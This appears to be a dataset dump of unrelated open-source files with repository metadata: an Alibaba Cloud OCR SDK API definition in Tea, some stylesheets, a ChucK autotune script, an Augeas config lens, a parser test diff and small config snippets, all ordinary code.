description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeGeneralResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeGeneralResponse = { headers: map[string]string(name='headers'), body: RecognizeGeneralResponseBody(name='body'), } async function recognizeGeneralWithOptions(request: RecognizeGeneralRequest, runtime: Util.RuntimeOptions): RecognizeGeneralResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeGeneral', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeGeneral(request: RecognizeGeneralRequest): RecognizeGeneralResponse { var runtime = new Util.RuntimeOptions{}; return recognizeGeneralWithOptions(request, runtime); } model RecognizeHandwritingRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), needSortPage?: boolean(name='NeedSortPage', description='是否按顺序输出文字块。false表示从左往右,从上到下的顺序;true表示从上到下,从左往右的顺序'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeHandwritingResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeHandwritingResponse = { headers: map[string]string(name='headers'), body: RecognizeHandwritingResponseBody(name='body'), } async function recognizeHandwritingWithOptions(request: RecognizeHandwritingRequest, runtime: Util.RuntimeOptions): RecognizeHandwritingResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeHandwriting', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeHandwriting(request: RecognizeHandwritingRequest): RecognizeHandwritingResponse { var runtime = new Util.RuntimeOptions{}; return recognizeHandwritingWithOptions(request, runtime); } model RecognizeHouseholdRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeHouseholdResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeHouseholdResponse = { headers: map[string]string(name='headers'), body: RecognizeHouseholdResponseBody(name='body'), } async function recognizeHouseholdWithOptions(request: RecognizeHouseholdRequest, runtime: Util.RuntimeOptions): RecognizeHouseholdResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeHousehold', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeHousehold(request: RecognizeHouseholdRequest): RecognizeHouseholdResponse { var runtime = new Util.RuntimeOptions{}; return recognizeHouseholdWithOptions(request, runtime); } model RecognizeIdcardRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeIdcardResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeIdcardResponse = { headers: map[string]string(name='headers'), body: RecognizeIdcardResponseBody(name='body'), } async function recognizeIdcardWithOptions(request: RecognizeIdcardRequest, runtime: Util.RuntimeOptions): RecognizeIdcardResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeIdcard', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeIdcard(request: RecognizeIdcardRequest): RecognizeIdcardResponse { var runtime = new Util.RuntimeOptions{}; return recognizeIdcardWithOptions(request, runtime); } model RecognizeInvoiceRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeInvoiceResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeInvoiceResponse = { headers: map[string]string(name='headers'), body: RecognizeInvoiceResponseBody(name='body'), } async function recognizeInvoiceWithOptions(request: RecognizeInvoiceRequest, runtime: Util.RuntimeOptions): RecognizeInvoiceResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeInvoice', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeInvoice(request: RecognizeInvoiceRequest): RecognizeInvoiceResponse { var runtime = new Util.RuntimeOptions{}; return recognizeInvoiceWithOptions(request, runtime); } model RecognizeJanpaneseRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeJanpaneseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeJanpaneseResponse = { headers: map[string]string(name='headers'), body: RecognizeJanpaneseResponseBody(name='body'), } async function recognizeJanpaneseWithOptions(request: RecognizeJanpaneseRequest, runtime: Util.RuntimeOptions): RecognizeJanpaneseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeJanpanese', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeJanpanese(request: RecognizeJanpaneseRequest): RecognizeJanpaneseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeJanpaneseWithOptions(request, runtime); } model RecognizeKoreanRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeKoreanResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeKoreanResponse = { headers: map[string]string(name='headers'), body: RecognizeKoreanResponseBody(name='body'), } async function recognizeKoreanWithOptions(request: RecognizeKoreanRequest, runtime: Util.RuntimeOptions): RecognizeKoreanResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeKorean', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeKorean(request: RecognizeKoreanRequest): RecognizeKoreanResponse { var runtime = new Util.RuntimeOptions{}; return recognizeKoreanWithOptions(request, runtime); } model RecognizeLatinRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeLatinResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeLatinResponse = { headers: map[string]string(name='headers'), body: RecognizeLatinResponseBody(name='body'), } async function recognizeLatinWithOptions(request: RecognizeLatinRequest, runtime: Util.RuntimeOptions): RecognizeLatinResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeLatin', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeLatin(request: RecognizeLatinRequest): RecognizeLatinResponse { var runtime = new Util.RuntimeOptions{}; return recognizeLatinWithOptions(request, runtime); } model RecognizeMedicalDeviceManageLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeMedicalDeviceManageLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeMedicalDeviceManageLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeMedicalDeviceManageLicenseResponseBody(name='body'), } async function recognizeMedicalDeviceManageLicenseWithOptions(request: RecognizeMedicalDeviceManageLicenseRequest, runtime: Util.RuntimeOptions): RecognizeMedicalDeviceManageLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeMedicalDeviceManageLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeMedicalDeviceManageLicense(request: RecognizeMedicalDeviceManageLicenseRequest): RecognizeMedicalDeviceManageLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeMedicalDeviceManageLicenseWithOptions(request, runtime); } model RecognizeMedicalDeviceProduceLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeMedicalDeviceProduceLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeMedicalDeviceProduceLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeMedicalDeviceProduceLicenseResponseBody(name='body'), } async function recognizeMedicalDeviceProduceLicenseWithOptions(request: RecognizeMedicalDeviceProduceLicenseRequest, runtime: Util.RuntimeOptions): RecognizeMedicalDeviceProduceLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeMedicalDeviceProduceLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeMedicalDeviceProduceLicense(request: RecognizeMedicalDeviceProduceLicenseRequest): RecognizeMedicalDeviceProduceLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeMedicalDeviceProduceLicenseWithOptions(request, runtime); } model RecognizeMixedInvoicesRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeMixedInvoicesResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeMixedInvoicesResponse = { headers: map[string]string(name='headers'), body: RecognizeMixedInvoicesResponseBody(name='body'), } async function recognizeMixedInvoicesWithOptions(request: RecognizeMixedInvoicesRequest, runtime: Util.RuntimeOptions): RecognizeMixedInvoicesResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeMixedInvoices', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeMixedInvoices(request: RecognizeMixedInvoicesRequest): RecognizeMixedInvoicesResponse { var runtime = new Util.RuntimeOptions{}; return recognizeMixedInvoicesWithOptions(request, runtime); } model RecognizeMultiLanguageRequest { languages?: [ string ](name='Languages', description='识别语种'), needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), needSortPage?: boolean(name='NeedSortPage', description='是否按顺序输出文字块。false表示从左往右,从上到下的顺序;true表示从上到下,从左往右的顺序'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeMultiLanguageShrinkRequest { languagesShrink?: string(name='Languages', description='识别语种'), needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), needSortPage?: boolean(name='NeedSortPage', description='是否按顺序输出文字块。false表示从左往右,从上到下的顺序;true表示从上到下,从左往右的顺序'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeMultiLanguageResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeMultiLanguageResponse = { headers: map[string]string(name='headers'), body: RecognizeMultiLanguageResponseBody(name='body'), } async function recognizeMultiLanguageWithOptions(tmpReq: RecognizeMultiLanguageRequest, runtime: Util.RuntimeOptions): RecognizeMultiLanguageResponse { Util.validateModel(tmpReq); var request = new RecognizeMultiLanguageShrinkRequest{}; OpenApiUtil.convert(tmpReq, request); if (!Util.isUnset(tmpReq.languages)) { request.languagesShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.languages, 'Languages', 'simple'); } var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeMultiLanguage', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeMultiLanguage(request: RecognizeMultiLanguageRequest): RecognizeMultiLanguageResponse { var runtime = new Util.RuntimeOptions{}; return recognizeMultiLanguageWithOptions(request, runtime); } model RecognizePassportRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizePassportResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizePassportResponse = { headers: map[string]string(name='headers'), body: RecognizePassportResponseBody(name='body'), } async function recognizePassportWithOptions(request: RecognizePassportRequest, runtime: Util.RuntimeOptions): RecognizePassportResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizePassport', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizePassport(request: RecognizePassportRequest): RecognizePassportResponse { var runtime = new Util.RuntimeOptions{}; return recognizePassportWithOptions(request, runtime); } model RecognizeQuotaInvoiceRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeQuotaInvoiceResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeQuotaInvoiceResponse = { headers: map[string]string(name='headers'), body: RecognizeQuotaInvoiceResponseBody(name='body'), } async function recognizeQuotaInvoiceWithOptions(request: RecognizeQuotaInvoiceRequest, runtime: Util.RuntimeOptions): RecognizeQuotaInvoiceResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeQuotaInvoice', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeQuotaInvoice(request: RecognizeQuotaInvoiceRequest): RecognizeQuotaInvoiceResponse { var runtime = new Util.RuntimeOptions{}; return recognizeQuotaInvoiceWithOptions(request, runtime); } model RecognizeRollTicketRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeRollTicketResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeRollTicketResponse = { headers: map[string]string(name='headers'), body: RecognizeRollTicketResponseBody(name='body'), } async function recognizeRollTicketWithOptions(request: RecognizeRollTicketRequest, runtime: Util.RuntimeOptions): RecognizeRollTicketResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeRollTicket', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeRollTicket(request: RecognizeRollTicketRequest): RecognizeRollTicketResponse { var runtime = new Util.RuntimeOptions{}; return recognizeRollTicketWithOptions(request, runtime); } model RecognizeRussianRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeRussianResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeRussianResponse = { headers: map[string]string(name='headers'), body: RecognizeRussianResponseBody(name='body'), } async function recognizeRussianWithOptions(request: RecognizeRussianRequest, runtime: Util.RuntimeOptions): RecognizeRussianResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeRussian', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeRussian(request: RecognizeRussianRequest): RecognizeRussianResponse { var runtime = new Util.RuntimeOptions{}; return recognizeRussianWithOptions(request, runtime); } model RecognizeTableOcrRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeTableOcrResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeTableOcrResponse = { headers: map[string]string(name='headers'), body: RecognizeTableOcrResponseBody(name='body'), } async function recognizeTableOcrWithOptions(request: RecognizeTableOcrRequest, runtime: Util.RuntimeOptions): RecognizeTableOcrResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeTableOcr', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeTableOcr(request: RecognizeTableOcrRequest): RecognizeTableOcrResponse { var runtime = new Util.RuntimeOptions{}; return recognizeTableOcrWithOptions(request, runtime); } model RecognizeTaxiInvoiceRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeTaxiInvoiceResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeTaxiInvoiceResponse = { headers: map[string]string(name='headers'), body: RecognizeTaxiInvoiceResponseBody(name='body'), } async function recognizeTaxiInvoiceWithOptions(request: RecognizeTaxiInvoiceRequest, runtime: Util.RuntimeOptions): RecognizeTaxiInvoiceResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeTaxiInvoice', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeTaxiInvoice(request: RecognizeTaxiInvoiceRequest): RecognizeTaxiInvoiceResponse { var runtime = new Util.RuntimeOptions{}; return recognizeTaxiInvoiceWithOptions(request, runtime); } model RecognizeThaiRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeThaiResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeThaiResponse = { headers: map[string]string(name='headers'), body: RecognizeThaiResponseBody(name='body'), } async function recognizeThaiWithOptions(request: RecognizeThaiRequest, runtime: Util.RuntimeOptions): RecognizeThaiResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeThai', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeThai(request: RecognizeThaiRequest): RecognizeThaiResponse { var runtime = new Util.RuntimeOptions{}; return recognizeThaiWithOptions(request, runtime); } model RecognizeTradeMarkCertificationRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeTradeMarkCertificationResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeTradeMarkCertificationResponse = { headers: map[string]string(name='headers'), body: RecognizeTradeMarkCertificationResponseBody(name='body'), } async function recognizeTradeMarkCertificationWithOptions(request: RecognizeTradeMarkCertificationRequest, runtime: Util.RuntimeOptions): RecognizeTradeMarkCertificationResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeTradeMarkCertification', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeTradeMarkCertification(request: RecognizeTradeMarkCertificationRequest): RecognizeTradeMarkCertificationResponse { var runtime = new Util.RuntimeOptions{}; return recognizeTradeMarkCertificationWithOptions(request, runtime); } model RecognizeTrainInvoiceRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeTrainInvoiceResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeTrainInvoiceResponse = { headers: map[string]string(name='headers'), body: RecognizeTrainInvoiceResponseBody(name='body'), } async function recognizeTrainInvoiceWithOptions(request: RecognizeTrainInvoiceRequest, runtime: Util.RuntimeOptions): RecognizeTrainInvoiceResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeTrainInvoice', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeTrainInvoice(request: RecognizeTrainInvoiceRequest): RecognizeTrainInvoiceResponse { var runtime = new Util.RuntimeOptions{}; return recognizeTrainInvoiceWithOptions(request, runtime); } model RecognizeVehicleLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeVehicleLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeVehicleLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeVehicleLicenseResponseBody(name='body'), } async function recognizeVehicleLicenseWithOptions(request: RecognizeVehicleLicenseRequest, runtime: Util.RuntimeOptions): RecognizeVehicleLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeVehicleLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeVehicleLicense(request: RecognizeVehicleLicenseRequest): RecognizeVehicleLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeVehicleLicenseWithOptions(request, runtime); } model RecognizeWaybillRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeWaybillResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeWaybillResponse = { headers: map[string]string(name='headers'), body: RecognizeWaybillResponseBody(name='body'), } async function recognizeWaybillWithOptions(request: RecognizeWaybillRequest, runtime: Util.RuntimeOptions): RecognizeWaybillResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeWaybill', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeWaybill(request: RecognizeWaybillRequest): RecognizeWaybillResponse { var runtime = new Util.RuntimeOptions{}; return recognizeWaybillWithOptions(request, runtime); }
Tea
5
aliyun/alibabacloud-sdk
ocr-api-20210707/main.tea
[ "Apache-2.0" ]
main { background-color: black; } div#all, div#specific, div#conversationDiv { border: 1px solid white; border-radius: 25px; padding: 15px; margin: 15px } button[disabled=true] { color: lightgray; border: 1px solid lightgray; } button[disabled=true]:hover { opacity: 1; }
CSS
3
DBatOWL/tutorials
spring-security-modules/spring-security-web-sockets/src/main/webapp/resources/styles/socket.css
[ "MIT" ]
#!/usr/bin/env fish echo "Hello World"
fish
1
Gabrielarodrigues10/ga
f/Fish.fish
[ "MIT" ]
@charset "utf-8" $rtl: true @import "bulma"
Sass
1
kalpitzeta/bulma
bulma-rtl.sass
[ "MIT" ]
SndBuf obama => PitchTrack pt => blackhole; 512 => pt.frame; 4 => pt.overlap; obama => Delay del => PitShift autotune => Envelope fade => dac; 1::second => fade.duration; 0 => fade.value; 1 => fade.target; // uncomment these to produce a wav file of the output dac => WvOut2 record => blackhole; "obama_autotuned" => record.wavFilename; pt.frame()::samp => del.delay; "data/obama.wav" => obama.read; 0 => obama.pos; obama.length() => dur length; 1 => autotune.mix; 1 => autotune.shift; // Echoing bells matching vocal pitch TriOsc tri => ADSR env => Echo e => dac; env.set(5::ms, 250::ms, 0, 0::ms); 0.5 => e.mix; e => e; 0.8 => e.gain; 250::ms => e.max => e.delay; 0.15 => tri.gain; [0, 3, 7, 10] @=> int pentatonic[]; //Cm7 chord float last_target; now + length => time endtime; now + (length - fade.duration()) => time fadetime; spork ~ switchScale(); spork ~ ostinato(); while (now < endtime) { samp => now; pt.get() => float track; // find closest pitch closest (track, pentatonic) => float target; // only trigger new note if different from previous if (target > 60 && Std.fabs(target - last_target) > 0.1) { 1 => env.keyOn; target => tri.freq; target => last_target; } // perform autotune if (track > 0) target / track => autotune.shift; // begin fade out if the time is right if (now >= fadetime) 0 => fade.target; } // wait a little extra time 5::second => now; fun void hold_pitch(float t) { t => last_target; 250::ms => now; -100 => last_target; } fun void switchScale() { while (1) { 12::second => now; pentatonic[0]--; pentatonic[2]--; pentatonic[3]++; 11.5::second => now; pentatonic[0]--; 2 -=> pentatonic[1]; pentatonic[2]--; 3 -=> pentatonic[3]; for (int i; i<pentatonic.size(); i++) { if (pentatonic[i] < -5) 12 +=> pentatonic[i]; } } } fun void ostinato() { ModalBar mb => GVerb rev => fade; 0.5 => mb.gain; 1 => mb.preset; //0.01 => rev.mix; while (1) { for (int i; i<pentatonic.size(); i++) { (pentatonic[i] + 48) => Std.mtof => mb.freq; 1 => mb.noteOn; 125::ms => now; } } } // helper function to find equal tempered pitch in list // which is closest to freq testval. fun float closest (float testval, int list[]) { list.size() => int len; int octave; Std.ftom(testval) => float testmidi; while (testmidi - (list[len-1] + octave) > 12) { 12 +=> octave; } 48000.0 => float lowdiff; int closest_index; int closest_octave; for (int i; i<len; i++) { Std.mtof(octave + list[i]) => float listnote; Math.fabs(listnote - testval) => float diff; if (diff < lowdiff) { i => closest_index; diff => lowdiff; octave => closest_octave; } } for (int i; i<len; i++) { Std.mtof(octave + 12 + list[i]) => float listnote; Math.fabs(listnote - testval) => float diff; if (diff < lowdiff) { i => closest_index; diff => lowdiff; octave + 12 => closest_octave; } } return Std.mtof(closest_octave + list[closest_index]); }
ChucK
4
ccdarabundit/chugins
PitchTrack/autotune-test.ck
[ "MIT" ]
(* Module: Oneserver To parse /etc/one/*-server.conf Note: onegate-server.conf still is not supported due to not parseable yaml Author: Anton Todorov <[email protected]> *) module Oneserver = autoload xfm (* Version: 0.1 *) (* Group: helpers *) let colon = Sep.colon let space = Sep.space let dashspace = del /-[ \t]*/ "- " let eol = Util.eol let el = del /\n/ "\n" let indent = del /[ \t]+/ " " let value = store (Rx.word|Rx.integer|Rx.fspath) let empty = [ label "#empty" . eol ] let comment = [ label "#comment" . del /#[ \t]*/ "# " . store /([^ \t\n][^\n]*)?/ . del /\n/ "\n" ] let entry = [ colon . key Rx.word . colon . (space . value)? . el ] let option = [ label "#option" . indent . dashspace . value . el ] let lns = (comment | empty | entry | option)* let filter = incl "/etc/one/sunstone-server.conf" . incl "/etc/one/onevnc-server.conf" . incl "/etc/one/oneflow-server.conf" . incl "/etc/one/onehem-server.conf" (*. incl "/etc/one/onegate-server.conf"*) . Util.stdexcl let xfm = transform lns filter
Augeas
5
OpenNebula/addon-storpool
misc/augeas/oneserver.aug
[ "Apache-2.0" ]
{ "errors": { "0": { "lineNumber": undefined, "index": undefined, "column": undefined, "loc": { "start": { "line": 1, "column": 29 }, "end": { "line": 1, "column": 32 } } } }, "body": { "0": { "expression": { "callee": { "body": { "body": { "1": { "range": { "1": 32 }, "loc": { "end": { "column": 32 } } } } } } } } } }
Diff
0
oonsamyi/flow
src/parser/test/esprima/tolerant-parse/migrated_0015.diff
[ "MIT" ]
<patch-1.0 appVersion="1.0.12"> <nets/> <settings> <subpatchmode>no</subpatchmode> </settings> <notes><![CDATA[]]></notes> <windowPos> <x>583</x> <y>218</y> <width>960</width> <height>817</height> </windowPos> </patch-1.0>
NetLinx
2
pfawcett23/ssb_axoloti
ssb_library/utils/clock_div.axs
[ "MIT" ]
.pagination-container[data-v-38ef71f0]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-38ef71f0]{display:none}
CSS
3
yuanweikang2020/canal
admin/admin-web/src/main/resources/public/static/css/chunk-da289616.c89f8844.css
[ "Apache-2.0" ]
// This comment type is used in C like languages such as JS, TS, Dart, etc module.exports = { regionStartMatcher: /^\s*\/\/\s*#docregion\s*(.*)\s*$/, regionEndMatcher: /^\s*\/\/\s*#enddocregion\s*(.*)\s*$/, plasterMatcher: /^\s*\/\/\s*#docplaster\s*(.*)\s*$/, createPlasterComment: plaster => `/* ${plaster} */` };
JavaScript
4
coreyscherbing/angular
aio/tools/transforms/examples-package/services/region-matchers/inline-c.js
[ "MIT" ]
